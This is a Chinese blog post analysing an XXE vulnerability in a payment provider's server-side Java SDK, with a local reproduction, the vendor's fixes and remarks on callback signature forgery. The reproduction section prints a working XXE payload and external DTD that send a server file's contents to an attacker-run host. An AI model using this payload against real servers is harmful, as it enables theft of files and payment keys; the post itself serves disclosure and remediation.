1. 程式人生 > >談談×××支付曝出的漏洞

談談×××支付曝出的漏洞

chap 獲得 secure 商品 app ofo 比較 wiki 廣泛

一、背景

之前×××支付的SDK曝出重大漏洞(XXE漏洞),通過該漏洞,×××者可以獲取服務器中目錄結構、文件內容,如代碼、各種私鑰等。獲取這些信息以後,×××者便可以為所欲為,其中就包括眾多媒體所宣傳的“0元也能買買買”。

漏洞報告地址;http://seclists.org/fulldisclosure/2018/Jul/3

二、漏洞原理

1. XXE漏洞
此次曝出的漏洞屬於XXE漏洞,即XML外部實體註入(XML External Entity Injection)。

XML文檔除了可以包含聲明和元素以外,還可以包含文檔類型定義(即DTD);如下圖所示。

在DTD中,可以引進實體,在解析XML時,實體將會被替換成相應的引用內容。該實體可以由外部引入(支持http、ftp等協議,後文以http為例說明),如果通過該外部實體進行×××,就是XXE×××。

可以說,XXE漏洞之所以能夠存在,本質上在於在解析XML的時候,可以與外部進行通信;當XML文檔可以由×××者任意構造時,×××便成為可能。在利用XXE漏洞可以做的事情當中,最常見最容易實現的,便是讀取服務器的信息,包括目錄結構、文件內容等;本次×××支付爆出的漏洞便屬於這一種。

2. ×××支付漏洞
本次漏洞影響的範圍是:在×××支付異步回調接口中,使用×××支付SDK進行XML解析的應用。註意這裏的SDK是服務器端的SDK,APP端使用SDK並不受影響。

SDK下載地址如下(目前×××官方宣傳漏洞已修復):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK中導致漏洞的代碼是WXPayUtil工具類中的xmlToMap()方法:

如上圖所示,由於在解析XML時沒有對外部實體的訪問做任何限制,如果×××者惡意構造xml請求,便可以對服務器進行×××。下面通過實例介紹×××的方法。

3. ×××復現
下面在本機環境下進行復現。

假設本地的web服務器127.0.0.1:8080中存在POST接口:/wxpay/callback,該接口中接收xml字符串做參數,並調用前述的WXPayUtil.xmlToMap(strXml)對xml參數進行解析。此外,/etc/password中存儲了重要的密碼數據(如password1234)。

×××時構造的請求如下:

其中xml內容如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/password">
<!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">
%xxe;
]>
其中/etc/password為要竊取的對象,http://127.0.0.1:9000/xxe.dtd為×××者服務器中的dtd文件,內容如下:

<!ENTITY % shell "<!ENTITY % upload SYSTEM ‘http://127.0.0.1:9000/evil/%file;‘>">
%shell;
%upload;
通過xml+dtd文件,×××者便可以在服務器http://127.0.0.1:9000中收到如下請求:

http://127.0.0.1:9000/evil/password1234

這樣,×××者便得到了/etc/password文件的內容。

在本例中,×××者竊取了/etc/password文件中的內容,實際上×××者還可以獲取服務器中的目錄結構以及其他文件,只要啟動web應用的用戶具有相應的讀權限。如果獲取的信息比較復雜,如包含特殊符號,無法直接通過http的URL發送,則可以采用對文件內容進行Base64編碼等方法解決。

三、漏洞的解決

解決該漏洞的原理非常簡單,只要禁止解析XML時訪問外部實體即可。

漏洞曝出以後,×××進行了緊急修復,一方面是更新了SDK,並提醒開發者使用最新的SDK;SDK中修復代碼如下:

加入了如下兩行代碼:

documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
更新:×××表示上述2條語句無法禁止該漏洞,又雙叒叕更新了官方SDK,加了以下語句(對於×××的這波操作,不知如何評價):

documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);
此外,×××官方也給出了關於XXE漏洞的最佳安全實踐,可以參考:

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

筆者本人使用上述方案中建議的如下代碼修復了該漏洞:

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
……

四、擴展與反思

1. 危害不只是“0元也能買買買”
在很多媒體的報道中,強調該漏洞的風險在於×××者可以不支付也可以獲得商品。確實,×××者在通過上述漏洞獲得×××支付的秘鑰以後,有不止一種途徑可以做到不支付就獲得商品:例如,×××者首先在系統中下單,獲得商戶訂單號;然後便可以調用×××支付的異步回調,其中的簽名參數便可以使用前面獲取的秘鑰對訂單號等信息進行MD5獲得;這樣×××者的異步回調就可以通過應用服務器的簽名認證,從而獲得商品。不過,在很多有一定規模的購物網站(或其他有支付功能的網站),會有對賬系統,如定時將系統中的訂單狀態與×××、支付寶的後臺對比,如果出現不一致可以及時報警並處理,因此該漏洞在這方面的影響可能並沒有想象的那麽大。

然而,除了“0元也能買買買”,×××者可以做的事情還有很多很多;理論上來說,×××者可能獲得應用服務器上的目錄結構、代碼、數據、配置文件等,可以根據需要進行進一步破壞。

2. 漏洞不限於×××支付SDK
雖然×××支付曝出該漏洞受到了廣泛關註,但該漏洞絕不僅僅存在於×××支付中:由於眾多XML解析器默認不會禁用對外部實體的訪問,因此應用的接口如果有以下幾個特點就很容易掉進XXE漏洞的坑裏:

(1)接口使用xml做請求參數

(2)接口對外公開,或容易獲得:例如一些接口提供給外部客戶調用,或者接口使用http很容易抓包,或者接口比較容易猜到(如×××支付的異步回調接口)

(3)接口中解析xml參數時,沒有禁用對外部實體的訪問

建議大家最好檢查一下自己的應用中是否有類似的漏洞,及時修復。

3. xml與json
xml 與 json是系統間交互常用的兩種數據格式,雖然很多情況下二者可以互換,但是筆者認為,json 作為更加輕量級更加純粹的數據格式,更適合於系統間的交互;而xml,作為更加重量級更加復雜的數據格式,其 DTD 支持自定義文檔類型,在更加復雜的配置場景下有著更好的效果,典型的場景如 spring 相關的配置。

4. 題外話:×××支付的簽名認證
在前面曾經提到,應用中存儲的秘鑰一旦泄露,×××者便可以完全繞過簽名認證,這是因為×××支付使用的是對稱式的簽名認證:×××方和應用方,使用相同的秘鑰對相同的明文進行MD5簽名,只要應用方的秘鑰泄露,簽名認證就完全成了擺設。

在這方面支付寶的做法更規範也更安全:支付寶為應用生成公私鑰對,公鑰由應用方保存,私鑰由支付寶保存;在回調時,支付寶使用私鑰進行簽名,應用方使用公鑰進行驗證;這樣只要支付寶保存的私鑰不泄露,×××者只有公鑰則難以通過簽名認證。

談談×××支付曝出的漏洞